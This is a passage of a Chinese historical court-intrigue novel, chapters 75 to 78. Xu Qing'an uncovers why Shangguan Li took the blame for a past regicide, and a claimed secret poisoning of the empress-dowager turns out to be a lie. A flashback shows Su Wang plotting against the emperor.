“那便先让太医上马车诊治吧。” “好。” 青禾应声后转身就带着往上官栩马车方向去。 徐卿安停留在原地。 他看着她被接入马车,亦在原地等见太医匆匆赶去。 随后,他转了身,往上官府的祠堂方向去了。 第75章 徐卿安再回到祠堂的时候,苏尚正半蹲在上官栎身旁与他说着什么。 苏尚余光一扫也看见了门外的徐卿安。 他沉了眸,继续对上官栎道:“放心,父亲那儿有我在。” 上官栎抬起头,眼皮耸拉,黯淡无光地向身前人看去:“拜托叙白了。” 苏尚再应了声,沉默片刻后起了身,向外走去。 徐卿安也在此时迈步进了门。 二人擦肩而过时同时停了下来。 苏尚侧头先道:“你还真是阴魂不散。” 徐卿安亦向他看去:“这件事也有你的参与?” 一个也字就足够让苏尚心绪翻涌不平。 苏尚知道,徐卿安为什么会强调这个也字—— 他在说那年上巳夜。 然而没有就是没有! 苏尚握紧拳压制着:“我说过,我没参与。” 徐卿安冷笑一声不再看他,直接从他身边走过。 苏尚闭眸,心中刺痛一瞬,却又觉得当下还有其他事要做,便暂时忍了下去,没再与那人过多纠缠。 徐卿安走到了上官栎身前,声音随着半蹲的动作响起:“上官大人。” 上官栎掀起眼帘看他,声音虽弱但亦不失儒雅之气:“徐大人。” 徐卿安道:“上官大人已在这里跪了这么久了,起来去一旁坐一坐。” “不了。”上官栎自嘲笑,“比起我做的那些错事,在这里跪一跪又算得上什么呢?” “所以你在这里跪着又有什么用呢?” 上官栎诧异看去,而徐卿安知晓他铁了心地要在这里跪地谢罪便也没多看他,只站起身走到了祠堂前面,取了三根香,对着那些灵位拜了拜。 整个过程上官栎都无言且愕然地看着他,直到徐卿安再度半蹲到他身前。 徐卿安道:“上官公在世时名扬四海,德高望重,那时我年纪虽小,但我亦因他的事迹而追崇他,如今在他灵位前为他上一柱香也算是了结我的一桩心愿。” 上官栎垂眸:“父亲他在世时,行事从无半分苟且,待人接物亦总存一份赤诚,他在我眼中便如松柏,清劲自持……” “所以今日你说的那些话我不信。”徐卿安直接打断他。 上官栩顿时抬眼看去。 徐卿安迎着他的视线定定看着他,再道:“或者说我不全信。” “其实最初我听到你和娘娘说的那番话时我也以为事情就是你说的那样,直到后来我遇到了刚才那个人。” “这个事件,这个时间,苏家七郎来这里做什么?”徐卿安虽问却自答,“因为他不是为了娘娘来的,他是为了上官大人来的,你们之间还有旁人不知道的约定。” “什么约定?”上官栎反问他。 “这自然是我不知道的,但这也是我想问上官大人的。”徐卿安道,“而我亦想问大人,为什么到了这个时候仍是不愿将真相说出来?难道大人求的就是让娘娘憎恨你吗?难道大人想要的就是让娘娘感受被至亲之人背叛的痛苦吗?” “当然不是……”上官栎回得干脆,又道,“然而事情就是这样,我无法辩驳什么。” “上官大人也说过,上官公在世时亦是你的楷模,而你不仅自小就得上官公教导,那时玉华公亦尚在世,两位品行高洁之人从你幼年到你青年都不停影响着你,你又怎会做出伤害君主之事?记得上官大人在还未入仕前便也是名贯京城的善君子了。” “世间事多舛,人也总是多变,外人传的不一定就是真实的,况且,我的本意也不是要杀他,只是想……” “只是想让他长个教训。”徐卿安寞声。 “可是上官大人,纵算人心多面,但是一个人智慧、手段风格却常常是一致的,即使你离开官场三年,但依你以前的经历,你断不会因为旁人的几句话,看见的几件事就做出那样的决定,这和你以往的风格不符。” 一个一贯儒雅随和的君子若真觉得一人要勿入歧途,第一反应想的竟不是如何劝诫他,而是如何给他吃苦头,让他长教训?这实在是太奇怪了。 见上官栎不语,徐卿安便继续道:“就像我刚才所说的那样,我并非全然不信你的话,只是你的话里有矫饰的地方。” “挪用中宫玺印,让原本与上官家交好的世家转头苏相旗下,这些的确只有你能做到。也如你所说,你这样做是为了要和他们绑在一起,留给他们钳制你的手段。我想,这也是为什么当初江南船商出事后不久你就被诬陷入了狱。他那时可是找过你?让你在江南局势上再配合他行事?” 上官栎承认:“是,虽然当时那件事他并没找到是殿下所为的证据,但是几大船商接连出事对他江南的布局造成了极大的影响,所以他便找上了我,让我凭借父亲留在江南的声誉帮他招揽民心,亦再去和那些世家联系,让他们帮忙稳住船运,不要让旁人去占了便宜。” “但是你拒绝了,所以他便迁怒了你,又因为你拒绝了他,让他因此觉得江南船商的事与娘娘有关,所以他向你下手,便是对你没有管住娘娘,让她‘安分守己’的惩罚,亦是对娘娘的警告。” “不,不对。”徐卿安又改口道,“依他的手段应没有警告的说法,他最初的打算应该就是直接对娘娘下手,只是那时你想护住娘娘,替她挡了下来。也难怪那时我去牢里见你时,你让我转转告娘娘不要再花费心思救你,原来不仅是因为你不想让她因你而激怒苏相,还是因为你知道这背后的一切因何而起,所以你那时就存了死志,就想以此赎罪,以此解脱。” 上官栎听了这些,闭眸长呼了一口气,久久说不出话来。 徐卿安看他反应便知自己说对了,也亦平息了一阵,后再徐徐开了口:“上官大人,很折磨吧?很痛苦吧?可是你知道么,能狠心做下那些事情的人是绝不会如你现在这般备受煎熬的。” “你当年绝没有参与沉船之事的谋划。”他语气突然加重,亦变得急切,“为什么?为什么到了现在还要揽下那罪责?若在以前你可说是为了要和他们绑在一起从而帮娘娘躲过他们的清算,那现在呢?这理由根本就说不过去,如今不管是苏相还是娘娘,都已心知肚明对方的打算,无论哪方都绝不会停手,你今日对娘娘说的那些话除了会增添她的痛苦外,还有什么意义!” 上官栎对徐卿安的质问恍若未闻,只慢慢抬起眼轻声道:“你刚才说得对,现在无论哪方都不愿停手,所以徐大人,我想拜托你一件事。” 徐卿安看着他。 上官栎缓缓吐字:“你让娘娘……放下吧。” 徐卿安眸光怔了一瞬。 而上官栎继续道:“我知道娘娘现在与你走得近,你的话也许她能听得进去些,所以你便劝劝她罢,斯人已逝,无论做到哪步,那人都不会回来了,又何必执念过往、困于囹圄,而若真有在天之灵,我相信那人也是期盼她好的,而只要她现在停下来,苏相那边也定会就此收手,从此以后相安无事。” “上官明樾!”徐卿安没忍住双手一下揪住了他的衣襟,“你就一定要咬住那些矫饰后的‘真相’不松口?你就一定要让她在此后的余生里对你恨也不是不恨也不是?你到底是让她放下,还是要加剧对她的折磨?” “到底是你太过天真,还是太过愚蠢,你怎么会觉得到了这一步苏氏还会收手?”说到这里,徐卿安猛地想起刚才进来前上官栎与苏尚之间的对话,他边沉吟边道,“苏七郎,苏叙白……你们刚才到底有何约定?你拜托了他什么?” “说话!”喊完之后徐卿安又软了声音,好生劝道,“你知道么?纵然你后来为了躲避清算不得不和那群幕后之人绑在一起,但只要你没有参与到最初的那场谋划之中,便是不一样的,哪怕你仍做了错事,但她对你的恨意便是不一样的。” “你是他的兄长,你是她在这世上唯一的血亲,你不能 这样残忍地对她,她已经很累了,她已经经历太多了,她会受不住的。而你,亦不该背负不属于你的罪责,你受过上官公和玉华公的教导,你想想若他们还在世,他们会让你如何选择?再想想你初入仕的主张和志向是什么,可就会这样与恶人妥协,让他肆意逍遥?” 见上官栎神色似有松动,徐卿安柔声追问道:“告诉我,你到底为什么到现在为止都要和他们牢牢绑在一起?到底还有什么事情是我们不知道的?说出来,我们可以一起解决。” 上官栎弱声:“徐大人也进入朝堂有一阵了,可知道我每月同一日都会进宫与殿下叙话?” “怎么了?”徐卿安睫毛闪烁,突然有一种不好的预感。 上官栎抬眼:“你觉得仅凭权力的让渡就能让他彻底放心了么?你觉得,我刚才说的只要殿下停手,不再追究过往,苏相便能与她相安无事又靠的是什么来判断的?我承认,我咬死真相,和他们绑在一起,就是想利用与殿下的兄妹之情逼她停手。我亦知道这样对她在情感上何其残忍,可是你知道么,没有什么是比她性命安危更重要的。” “你什么意思?”徐卿安越来越不安。 上官栎终于松口,说了真相:“我每月进宫寻殿下非只是为了与她叙话,更重要的是要为她送去她体内之毒的解药,那毒存于体内平日没有任何症状,就连中毒者自己也不会知道,但只要一停药人便活不过一月,所以,最开始苏相才会答应放过她,亦任她垂帘。” “因为她的命从来都在苏相的掌控之下,而刚才,苏叙白来亦是为了此事。” 徐卿安眼睛慢慢瞠大,然后突然猛地起身向前,哪怕差点趔趄摔倒,手扶了一下地面,也丝毫不停地直接往外奔去。 第76章 太后的车驾早已回宫,徐卿安驾着快马飞速往太极宫赶去。 途中,他脑中一直回想着上官栎的话—— 每月服一次解药,但只要一停药人便活不过一月。 怎么可能?怎么可以! “驾!”长街中一声高喝伴着急促的马蹄声划破长夜的寂静。 —— 因着张凡的原因,这段日子徐卿安一直都有出入宫闱的令牌,出示令牌到位置下马后,他便直往荀阳所在的方向去。 “快收拾东西,随我走!” 荀阳方开了门,徐卿安便直接进了屋,又到摆放医具的桌案前,开了药箱,凭着记忆拿起桌上的医具往里放。 荀阳刚洗漱好准备歇下就见个这么急匆匆的人闯进了他的房间,又只撂下一句话后就乒乒乓乓地收拾起他的东西来。 荀阳搞不懂。 “这是怎么了?这么急做什么?张公出事了?可是他情况不是已经稳定了嘛。” “不是张公。” 徐卿安暂时停下动作,立身看他:“是她。” 荀阳惊讶得扬眉:“立政殿那位?她怎么了?” “她被苏望下了毒。” “啊?!” “是上官明樾说的,解药每月一服,平日里与寻常无恙,但只要有一次解药没吃,那便活不过一个月。” 徐卿安转身抱起了药箱,又一气呵成地拉上荀阳准备往外走:“你快去帮我看看,是否有制得解药的方法。” “等等等等。”荀阳止住他,先问,“她中毒了,什么时候的事?” 徐卿安权当这是荀阳问诊的步骤:“大概有几年了吧。” “几年!”荀阳便更震惊,又沉吟。 徐卿安眼底泛红却又不解:“怎么了?可是因为中毒的时间越久越难解?” 荀阳摇摇头,喃声道:“可是我才把过她的脉,没发现问题啊。” 闻言,徐卿安焦躁的心平息些许,但也依旧担忧道:“但是上官明樾说了,平常时候是看不出异样的。” 荀阳解释道:“表面上看不看得出和脉象上看不看得出是两回事,就如你一样,你也是定期服用缓毒丹,只要你按时吃药谁能看出你体内存有余毒?然而若是懂脉象的大能来看,那你体内的问题便是难藏住了。” “且你说她已中毒几年,那么随着时间的沉淀,就算她每月服用解毒的药品,那她的脉象及身体上的其它地方也总会症状,但我给她把脉时却并没有察觉出任何异常,包括她的表面的其它表现。” “要不然就是如你上次一样,额外服了药将那脉象暂时稳住,便可让脉象短暂如常人一样。但是你也知道,那样做的坏处极大,且时间也不会稳得太久。我问你,她可知她中了毒?” 徐卿安思索:“应是不知的。” 荀阳道:“那便更能说通了,她让我去给她把脉应是一时兴起,那下毒之人便不可能在这么短的时间内再给她服下稳住脉象的药品,除非你告诉我,她身边的那个青禾是别人安插在她身边的细作。” 徐卿安肯定道:“不会的,青禾自小就与她在一起,不会是旁人安插进来的。” 且若她真地被人收买,那么早在他们对苏望动手时,她就该直接将消息传给苏望让他采取行动了,而不是等到了最近才…… “你确定她的脉象无异,没有中毒的症状?你确定这世上没有那种服用之后完全神不知鬼不觉的毒药,就算把脉也把不出?”徐卿安再确认道。 荀阳道:“短期内能做到服用之后神不知鬼不觉的毒药那自然是有的,长期的嘛……可能也是有的。” 话落,徐卿安才平息下来的心又凉了半截。 “然而我现在并没发现。”荀阳补充道,“我这样说只是因为人外有人天外有天,那我身为一个大夫就不能将话说死,但是呢,反正我现在是没有遇到过那种药的。” 徐卿安:“……” 周围静得出奇,唯胸膛起伏带起的呼吸声阵阵。 荀阳瞧着身前那人盯着他一呼一吸的冷面模样,感觉下一刻就要因他刚才说话的大喘气而刀了他。 旬阳不由得轻咳声,躲了他的目光道:“你不是让我去看看么,为了保险起见,我觉得你的提议有道理,还是快去看看吧。” 说完,他又瞥了瞥那人。 “哎呀,快走走走走!” 荀阳干脆推了那人一起走。 —— 立政殿内,上官栩刚已在太医的针灸下暂时醒了过来,只是情绪波动太大,又因尚在月信期间,身子便难免虚弱,如今躺在床榻上连唇色都有些苍白。 徐卿安带着荀阳向青禾问了情况之后,便请她向上官栩通传一声。 二人被带入了寝殿内。 “你怎么来了?” 隔着纱帐,上官栩看见来人的身影后开口问道。 徐卿安和荀阳先拱手向她行了礼。 徐卿安:“刚才见娘娘晕倒,心中一直担忧着,便想来看看娘娘,又听说娘娘回宫后便再未传太医来诊治,便想着也将上子阳叫来为娘娘看看。” 上官栩淡声:“不过是些小问题,刚才随行的太医也已经看过了,便也没必要再麻烦荀大夫了。” 徐卿安却坚持道:“刚才情况难免急迫,又是在马车上,恐怕随行太医也来不及为娘娘做出的诊断,所以臣便想着让子阳再为娘娘好好看一看,真好现下娘娘也在休息,也方便让大夫诊得更全面些。” 上官栩静了片刻。 “上前来吧。” 徐卿安向荀阳点了点头。 荀阳上前,从药箱中取了脉诊在床榻边放好,又请了帐内之人将手放至到上面。 一只细白的手腕从纱帐中伸出。 荀阳手指搭上,开始诊脉。 整个过程殿内都没有任何杂音,直到荀阳慢慢抬起头,望着徐卿安的双眸摇了摇头。 “当时我离开上官府后你又去做什么了?”察觉到荀阳的动作后,上官栩便也跟着开口向徐卿安问道。 徐卿安没有迟疑地回道:“娘娘晕倒后礼部的苏大人也到了上官府,所以臣便在娘娘后去寻了他。” “苏叙白也去了……”上官栩喃声,又问,“那你可曾知道他为何要到上官府?” 徐卿安垂眸:“臣也本想问他这个问题,然而臣回去找到他后他便没有多停留地就离开了,也就没有说上话。” “他去找谁?” “找到……上官大人。” 殿内再一次沉默。 片刻后,徐卿安道:“娘娘,上官大人的事或许……” “娘娘,苏大人在殿外求见。” 徐卿安话还没说完,一个宫人就从外进来打断 了他。 —— 熙宁七年三月三前夕,苏府一向宁静的苏望书房内发出一声打破宁静的巨大拍案声,同时还伴随着青年的一声质问。 “你们就偏要这样做?!”苏尚撑在苏望案前,言行间已完全没有子对父该有的尊敬。 苏望抬眸看他,虽动作悠悠但不满看出他眼底被压着的冷怒:“你想要做什么?” 苏尚便再指着太极宫的方向高声道:“那是主君!那是皇帝!你们到底知不知自己做的是什么大逆不道之事!” 苏望喝声:“所以你知道便要如此高声把这事情宣扬出去么!” 苏尚嗤笑:“父亲既然都要做了还怕别人知道?以后得后世史书记载,父亲还想做贤相?逆臣变贤相,那可真是天大的笑话。” “啪”的一记响亮的巴掌落在苏尚脸颊上直将他扇偏了脸。 一片红色在青年姣好的皮肤上快速浮起,苏望眼中不过闪烁一瞬,便继续道:“你懂什么?古有伊尹放逐主君,徐羡之废弑庸君,他们依旧享有贤臣之名,而我如今不过仿其所为,欲初昏聩者,又有何不妥?” “昏聩者?你说如今那位是昏聩者?呵,这倒是近几年我听到的第一奇闻。”苏尚抬眼,丝毫不避讳那压迫的目光,“你要杀他可是因为这几年他逐渐掌权,他声望要压过你了?可是因为挡了你的千古贤相之路了?” “闭嘴!” 苏尚依旧说道:“那你打算怎么做?在水祭上动手?可是周围都是禁军啊,你这也能动手脚?哦——我知道了,禁军里也有人和你联手了,是吧?” 苏望不应他的话,只道:“所谓得道者多助,七郎你还没看明白么?” 苏尚本想说,乱臣贼子蛇鼠一窝,然而他知道这句话除了激怒那高高在上的宰相亦没有意义。 他低笑几声:“太有意思了,原来圣贤的话都是用在这些地方的。”可是他又蓦地沉脸,“但是我告诉你们,我不会和你们一起!十恶之罪,你凭什么拉着整个苏氏去赌!” “这不是赌!上巳之后,整个苏氏只会更上一层,从此以后史书之上尽是我苏氏儿郎的名字!哪怕历经十代、百代,也都会后人以我苏氏后代身份为荣!” 苏尚怒视那上首之人几息,忽而转身就走。 “你要去哪儿!你可要去揭发我?”苏望质问,“我此行在你心中是不忠,那你此行在你心中可是不孝!” 苏尚停下。 身后还在继续:“我知道你在担心什么,上巳夜行事虽在游船上,但我的目的很明确,我向你保证,无辜之人我绝不牵连。” 苏尚脚下动作竟真的没有再继续。 他说:“你就是这样想我的?忠君爱国以前是谁教我的?” “那也要忠可忠之君、能忠之间,否则便是愚忠,而我此行不涉社稷,大晋依旧还是原本的大晋!我此为亦是为了更好的大晋!” 苏望柔了声音:“七郎,你若不信就好好等着看看,看看之后我说的话是不是真的,你若现在不理解我也没关系,你不必与我一起,你不如就当个旁观者静待最后的结果,这样你也不用做不忠不孝之人。” 苏尚转了上身,哂笑一声道:“父亲不愧是一朝之相,句句所言滴水不漏,纵是诡辩也让人无法辩驳,当年让四哥自尽,你也对他说了不少这样的话吧?” 苏望脸僵住:“所以你就真的要为了你的义背叛你的生父了么?” “我还有背叛的机会么?我还能踏出这个府邸么?”苏尚反问。 苏望垂眸:“让厨房给你煮几个鸡蛋敷敷脸吧。” 当天下午,京城下起了大雨,屋内屋外竟是雨滴打落的声音。 苏尚寻了地方翻出了府,又冒着大雨直接往皇宫去。 他请见了皇帝。 那时恰好周景知和上官栩在立政殿内商量着上巳夜的安排。 苏尚被内宦带到了门外。 “苏大人,陛下和皇后殿下都在殿内,您冒雨前来还是先用这长帕擦擦水吧。” 苏尚接了长帕在门外擦拭,殿内的声音传了出来:“景哥哥,今年的上巳夜,除了水祭祈福你还有什么打算?” “嗯……还没想好,你有想法?” “额,也没有。”女郎笑了两声。 “忽然想起好多年都没做过兔儿灯了,不如我们提前备些,等水祭结束我们和全城的百姓一起放吧?” 苏尚擦拭的动作停下。 “好啊,上巳佳节,能与民同乐自是很好了。” “那便说定了!对了,这样一来的话是否后面的章程也要跟着变动?会不会很麻烦啊?” “不过放兔儿灯,到时下了船就可以做,不会耽误太久的,这次随行的禁军护卫队长我打算选张将军,他老成能干,想来到时在环节的推到上也能助力不少。” “那是再好不过的了。” 殿内的声音清晰地传入耳内,七哥哥,景哥哥……他曾问过为何他的称呼就是序齿,而那人的却是名字。 “嗯……他是储君,我也不能叫他六哥哥吧?” 储君,不能序齿称呼,那称名讳就可以了么? 苏尚没有问出这话,她那时年幼,天真无邪,他不能这样为难她,所以他说:“那不如你也叫我尚哥哥?” 可是她抿唇有些难为情道:“但是我都习惯叫你七哥哥了,你是不喜欢我这样叫你么?” 他垂了眸,没有再说话。 兔儿灯……苏尚记得,她的第一只兔儿灯是他送给她的,她第一次做出来的兔儿灯也是由他帮忙指导出来。 但是她折出来的第一只在那年元日送给了她现在身旁的那人。 先来后到,还像不是这个道理。 那日,苏尚穿着湿透的衣袍在立政殿呈报了近期礼部的要事,周景知体恤他冒雨前来,让人为他备了衣服,亦准备留他下来一起用膳,她也邀请了他。 然而他拒绝了。 回了府内,苏然一连惊恐地上来迎他:“七郎,你……去宫里了?” 长廊下,苏尚抬起仍带着水汽的长睫向苏然看去,冷声:“告诉父亲,我不做不忠之人,亦不做不孝之人,所以你们之间的事你们自己处理,我绝不参与。但是我仍是好言再劝一句,趁事情没发生现在收手还来得及,上巳夜贴身护卫御驾的人是张定安,有他在,你们不可能得手的。” “还有,让他记得承诺过我的话,无论结果如何,都绝不牵连无辜之人。” 雨水哗哗,从瓦檐上流下,苏尚回了房。 第77章 苏尚进殿时上官栩已换了衣物到前殿安坐。 苏尚刚进殿几步,抬眼便瞧见了那站在殿中一侧的徐卿安,二人当即都毫不掩饰地翻了个白眼,将目光瞥向了另一侧。 “听说刚才叙白去了上官府?”苏尚行完礼后,上官栩也不待他开口便直接问道,“是有要事?” 苏尚立身道:“刚才听说了江南来信的事,一时惊愕便想去府上看看明樾兄,问问到底是怎么回事,刚才去府上又恰好碰到了殿下,却见殿下身体不适,故而现在来看看殿下身体好些了没有。” “好多了,叙白不必牵挂。”上官栩眸色无澜盯着他,神色没有任何波动,甚至都没有一丝对多年好友来关切的回应,反而继续冷声问道,“你问了哪些话出来?” 苏尚默了默,道:“往事他没有多提,只说让我以后照顾好殿下。” 上官栩意味不明地笑了几声。 “你们都先出去。”说着话时上官栩没有对向任何人,但殿内的其它几个人却都知道那个他们指的是谁。 其余的人自然是配合,徐卿安目光却在说话的二人身上来回停留几息。 他眸色一沉,忽然想起了什么,拱手道:“刚才娘娘在更衣时,子阳曾向臣提了一下娘娘的情况——娘娘如今身子较为虚弱,虽平常并没有什么异样的表现,但若一直不调理任它发展,以后恐怕会损及根本,故而子阳想了个方子想为娘娘好 生调理,不知娘娘意下如何?” 说完,徐卿安往侧后瞧了荀阳一眼。 荀阳顿时心领神会,跟着拱手应声:“哦是啊,草民初入宫闱,许多章程还并不了解,便在刚才请了徐大人帮草民提及此事,问一问娘娘的想法。” 上官栩其实并不在意,只是现在她急着有话要单独对苏尚说,便应了道:“便依荀大夫的法子来吧。” 荀阳也回得飞快:“那草民这就去抓药煎煮,一会儿就将调理的第一碗药送来。” 众人终是暂时先退了出去。 苏尚转头看着离去人的身影,心头莫名一畅,原来还是有些话旁人是听不得的。 他慢慢转回了头。 “当年的事情你是不是一早就知道了?” 苏尚抬眸一怔。 上官栩依旧目光无澜地盯着他。 —— 徐卿安到了殿外,不过在殿中待了一段时间,外面便已下起了雨,虽已是夜间,看不见雨丝在空中飞舞,但临近殿宇处,在烛火映照处,打落在廊下的水花却是清晰可见。 徐卿安向外伸了手。 雨水遍布手掌,打湿袖口。 “你看你,刚才非要提那么一嘴,就让我现在要平白无故地多来回冒雨跑一趟。”和徐卿安站在一起的荀阳看了看周围,见近处无人后开口似抱怨道。 刚才徐卿安在殿中向上官栩提起的,荀阳说她身子虚弱的话其实是他自己编出来的,在此之前也没有与荀阳商量过。 徐卿安用手指捻了捻打在手掌上的雨滴,感受足够后方才收回手。 他侧身对荀阳道:“今日苏叙白去上官府时最先找的就是上官明樾,所以我想她被下毒的事不只有上官明樾和苏望知道,苏叙白可能也知情。” 荀阳恍然大悟:“所以你刚才那话是说给苏叙白听的?” 徐卿安看他:“不是你说人外有人天外有天么,万一苏望下的毒真的就是那种哪怕长期服用也察觉不出的端倪的,那我们不就需要验一验看看那毒到底存不存在?” 荀阳扬了扬眉,本想说他有个九成把握确认这世上目前没有那种毒,但是万一呢?所以那一成他想验就验吧。 徐卿安再道:“你确定她的身子没有问题?” 荀阳道:“也就是有些气虚吧,但她最近在特殊日子上也是正常,且她一天就同你做这些伤脑的事也难免会有些郁结。”说到这里,他突然来了精神,怪“嗯”一声,“你们这儿倒还挺像,似乎心事都还挺多。” 徐卿安当然知道她是因何而伤神,沉吟道:“那你就为她好好调养一下吧。” 荀阳歪了歪头:“好吧,正愁不知道等下熬什么药给她交差呢,那我就先去太医院取药了。” 荀阳撑了伞,走入了雨中。 徐卿安亦转身,往上官栩寝殿殿门处走去。 —— 殿内,上官栩那话之后整个大殿的空气都似凝滞了片刻。 苏尚看她几息方才一笑,准备开口回她,然而却又一下被她打断:“你说你今夜去到上官府,是因为听说了江南的事情后想去当面问问我阿兄到底发生了什么,可是你知道么,依我对你的了解,正常情况下,按你今夜到上官府时的境况,你那时的第一件事绝不是去找我阿兄。” 苏尚来时上官栩刚晕倒不久,那时守在她身边又是徐卿安,若是其它时刻他一定会与那人相争护送她回来,可是今夜他没有。 就说明他还有更重要的事要做。 苏尚当即意识到了自己的错漏处。 这些年来他对她的诸多行径从不掩饰,哪怕她越来越躲避他,越来越刻意与他拉开距离,他也从未将自己的情意减少半分,反而因为那些执念、那些无法触碰的,越燃越浓。 上官栩再问:“你是什么时候知道的?又起了哪些作用?” “你只需相信,我从未参与。” “那便是在事发前就知晓了。” 苏尚眸光又是一定。 上官栩对着他笑一下,那笑十分淡漠,不说是否相信他,就是不信,也没有丝毫对他早已知晓那件事的怒意、恨意,这样的神情就让他生出一种要被完全抛弃、失去所有在意的恐惧。 “又是在事发多久前呢?一日?两日?还是更久之前?”上官栩眼底微有湿润,“曲江池畔,你可也曾提前去看过他的尸首?” 苏尚目露急切,又上前一步居高临下地望着她,语速飞快:“我的确提前知晓那事,然而我也不过只在事发前一炷香的时间才侥幸得知,我也想去阻止,可是根本就来不及,那时,你们已经登了船,我看着船只倾斜,看着你们落水,一切都来得太快,我只能赶快就近唤了禁军下水救你们,可是……” 他垂眸,无比懊悔:“可是他们只救起了你。” “至于他的尸首……事发之后,我也曾质问过父亲,但是我实在无法与他抗衡,反被他囚禁在府中,后来,他为了让我死心,就带我去了曲江池畔……” 说完,苏尚又立马抬眼,眉头紧张地拧起:“这些,我都不是刻意瞒你的,我只是担心伤害到你!因为父亲他,父亲他……他对你下了毒!” 霎时间,上官栩脑中懵了一瞬。 苏尚继续道:“当时,先帝出事,薛弘担心终有一日你会探得真相,所以他便对父亲主张要将你一并铲除,我虽用尽各种办法换得父亲承诺不伤你性命,可是薛弘仍是紧咬不放,不得已,父亲便只能想法为你下了毒,再定期给你服用解药,以此控制你。” 上官栩:“可是我并不知晓我中了毒啊,你们要控制我,难道不应该让我知晓此事么?” 苏尚低声:“因为他们要牵制的是明樾兄。” 一切都串起来了。 上官栩沉默后问:“所以,我阿兄动用我的印玺配合你们,让江南的世家投效你们,都是因为他知晓我中了毒,而若他不这样做,你们就不会定期给我服用解药。” 苏尚迟疑一息,目光沉静下来,回道:“差不多是这样。” 上官栩不明所以地笑了,她转过头笑问他:“那你今夜来是来给我送解药的?” 苏尚凝眸望着她:“解药由明樾兄每月带给你,这月你已服过了。” “用我来牵制我阿兄,又用我阿兄来牵制我”上官栩嗤,“真厉害,真周到。” “你放心,在等段时间,我一定从我父亲那儿拿到毒药的制方为你配出解药,只是这段时间你莫要再与他起冲突了,好不好?”苏尚恳求道,“还有明樾兄,你也想想他,你们兄妹是彼此唯一的亲人了。” 上官栩苦苦地笑了:“好,我都听你的,也请你一定要帮我照顾好我阿兄。” 苏尚满意地点了头。 —— 苏尚打开殿门出来时,迎面就碰上了站在殿外的徐卿安。 他瞬间沉了脸:“你什么时候在这里的?” 徐卿安眼尾含笑,一切说得平常:“在苏大人说你唤了禁军下水救娘娘前就这里了。” 苏尚对他的笑无动于衷:“所以后面的话你也都听见了?” “自然。”徐卿安垂眸一瞬,再抬眼,一目不错地与身前之人对视,“怪不得刚才子阳说娘娘身子不好,原来早在几年前娘娘就被人下了毒。” 苏尚:“所以我说,你在她身边对她没有益处,你只会害她。” “可是苏大人就是在救她么?就因为每月定时给她服用解药?”徐卿安反问,眼神带上戾气,“苏大人可通药理?可知道长期服用一种药物对人的伤害有多大!你知道她的身子现在因为那药弱到什么地步了么?你知道子阳刚才说了什么么?” “所谓解毒丹不过就是饮鸩止渴!” “他告诉我,娘娘如今已经伤及根本!身体各处羸弱之处就算调养至多也不过恢复到原本的五成,就是她的寿数也因此受到了影响。你知道她以后会怎样么?剧毒之物长期流窜于体内,先伤肺腑,再失五感,最后只 会生不如死!而这些都是因为你的那药!” “不可能!”苏尚当即否定。 四周静一瞬。 苏尚回神再道:“当年我求了阿爹许久,他答应我,绝不会用会损人根本的药。” “你怎知他说的就是真的?” “我的阿爹我自然相信。” 苏尚再乜徐卿安一眼:“你看你,你给她带去多大的麻烦,她的身子就是在你出现之后才变得羸弱的,这些账到时候,到时候我们都要一起算的。” “外面下起了雨,苏大人可要冒雨出宫?”徐卿安在那人从他身旁径直过去蓦地问道。 身后的人停了下脚步,冷声:“不用,我带了伞,亦乘了马车。” —— 苏尚走后,徐卿安再次进入寝殿。 只是这时候他全然没有刚才与苏尚对峙时那般从容,他必须要先告诉她她没有中毒的事情。 上官栩在见到他的那一刻亦快步向他那儿赶去。 “娘娘你身上的毒……” “你立马去……” 二人同时开口又同时一顿。 “什么?”上官栩听见毒药相关的事率先开了口问。 徐卿安觉得这事本也急切便先道:“你没有中毒,苏叙白骗了你。” 上官栩不解。 徐卿安解释道:“子阳诊过你的脉,你的脉象没有半分被毒药缠身的迹象,再加上苏叙白又说你中毒时间已有几年,那这世上便更难找到能满足几年不被人察觉的毒药了。”他生怕她还担忧着,又道,“而且刚才在殿外时,我亦诈了他,从他的表现来看,他绝没让人给你下毒。” 闻言,上官栩眉头微蹙,然而除此以外也再无其他反应。 徐卿安试探问:“娘娘是还担心着什么吗?” “不。”上官栩轻声,“我只是在想,你刚才领着荀大夫来并不是因为你最初说的,因为我晕倒你才让他来诊脉,而是要看看我到底有没有中毒?” 徐卿安睫毛颤一下:“是。那时我没有先告诉娘娘也是因为怕娘娘担心,结果谁知他亲口告诉了你。” 上官栩突然畅笑几声:“这有何可担心的,难道你觉得我会因为这个而变得畏手畏脚?哈哈哈,可是就算真的中毒又能怎样!” 她倏然收起笑意,目露狠决道:“我能活一日我便会与苏望斗一日,且如今局势亦是大好,我又焉能后退?就算最后毒入骨髓,我无法再在世人面前扒下他的伪面,那我也会在生命的最后关头,用最原始的方法向他报仇,夺他性命!” “纵是如此会有遗憾,也好过让他继续留于世间,披着那人皮享受不属于他的尊荣。” “而且,”上官栩再道,“我还要感谢苏叙白把我中毒的消息告诉我,是他让我知道了,我阿兄没有参与当年上巳之事,哪怕半点相关的都没有参与。也是因为苏叙白的那话才让我反应过来,我阿兄告诉我的话里有多少漏洞,纵是如我阿兄所说,他对当年变革之事多有不满,他也绝不会做出伤害主君的事,他只会谆谆教导,或是以己之力默默匡正。” “至于后面的那些……他都是因为我才去做的……”上官栩吸了下鼻子,抬眼间依旧满是坚定道,“不过那些罪他也自是要偿,然而现在我要先用他稳一稳苏望和苏叙白。” “娘娘是想将计就计?” “是,我就满足他们,做一个想要苟活的人,亦让他们觉得我以为的真相就是我阿兄也是当年的主谋之人,所以我不得不停手追讨当年之事。如此一来,降低他们的警惕,再行暗度陈仓之计。” 徐卿安问:“娘娘看上了哪处?” 上官栩沉吟:“剑拔弩张后的缓和只会引来更大的反弹和争端,下一次再和他们碰上便是生死之战了。”她掀起眼眸抬眼看向他,目色深邃,“神策军行营节度使要回京述职了。” 徐卿安字字清晰:“若得神策军,此战必胜。”他承诺,“好,我这就去办。” “你还有什么要对我说的么?” 徐卿安方才转过身,身后就突然想起一句与此前话题无甚关联的话。 他脚下一顿,她叫住了他。 第78章 车轮滚过青石,从皇城中驶出的马车压过一地水花,外面,雨水敲击在车盖上,雨声淅沥,内里,熏香袅袅,亦伴着新泡开的茶香气。 苏尚闭目端坐在马车内,听着外面的雨打声,一些往事在他脑海中浮现。 “明樾兄!明樾兄!” 上巳夜剧变,一国之君下落不明,全城戒严,时任刑部侍郎的上官栎在官署中无眠无休地熬了三夜,就与禁军组织寻找皇帝的事,又和各衙门一起想法在动乱之下将局势稳住。 